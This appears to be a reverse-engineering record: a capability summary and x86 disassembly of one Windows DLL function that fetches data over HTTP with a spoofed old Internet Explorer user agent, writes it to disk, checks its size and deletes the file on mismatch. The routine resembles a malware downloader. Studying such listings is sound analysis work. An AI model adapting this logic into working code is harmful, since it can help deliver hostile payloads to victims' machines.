Function at 0x100059a0
Capabilities:
Delete file
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001a938
push 0x1000b9f0
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, 0x405c
call fcn.10010580
mov eax, dword [0x1001c460]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4068], eax
mov dword [ebp - 4], 0
mov ecx, dword [str.Accept:___r_n_r_n]
mov dword [ebp - 0x2c], ecx
mov edx, dword [0x10019b70]
mov dword [ebp - 0x28], edx
mov eax, dword [0x10019b74]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x10019b78]
mov dword [ebp - 0x20], ecx
mov ecx, 0xc
mov esi, str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x60]
push edx
mov eax, dword [0x1001e728]
mov ecx, dword [eax + 8]
call ecx
mov edi, eax
mov dword [ebp - 0x406c], edi
test edi, edi
je 0x10005bc2
mov esi, dword [0x1001e728]
push 0
push 0x84000100
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push edi
mov ecx, dword [esi + 4]
call ecx
mov edi, eax
test edi, edi
jne 0x10005a8b
mov edx, dword [ebp - 0x406c]
push edx
mov eax, dword [0x1001e728]
mov ecx, dword [eax]
call ecx
jmp 0x10005bc2
mov ebx, dword [ebp - 0x4068]
mov esi, ebx
call fcn.100058f0
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005bc2
lea esp, [esp]
push 0x4000
push 0
lea edx, [ebp - 0x4060]
push edx
call fcn.1000c490
add esp, 0xc
lea eax, [ebp - 0x4070]
push eax
push 0x3fff
lea ecx, [ebp - 0x4060]
push ecx
push edi
mov edx, dword [0x1001e728]
mov eax, dword [edx + 0xc]
call eax
mov eax, dword [ebp - 0x4070]
test eax, eax
jne 0x10005b92
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov ecx, dword [0x1001e728]
mov edx, dword [ecx]
call edx
mov eax, dword [ebp - 0x406c]
push eax
mov ecx, dword [0x1001e728]
mov edx, dword [ecx]
call edx
xor edi, edi
jle 0x10005b87
mov byte [ebp - 0x4061], 0
push edi
push edi
push 3
push edi
push 1
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005bc2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
jne 0x10005b6b
mov al, 1
mov dword [ebp - 4], 0xfffffffe
jmp 0x10005bcb
mov eax, dword [ebp - 0x4068]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, byte [ebp - 0x4061]
mov dword [ebp - 4], 0xfffffffe
jmp 0x10005bcb
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x10005bcb
mov dword [ebp - 0x4074], 0
push 0
lea ecx, [ebp - 0x4074]
push ecx
push eax
lea edx, [ebp - 0x4060]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10005ac0
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000680f
mov esp, ebp
pop ebp
ret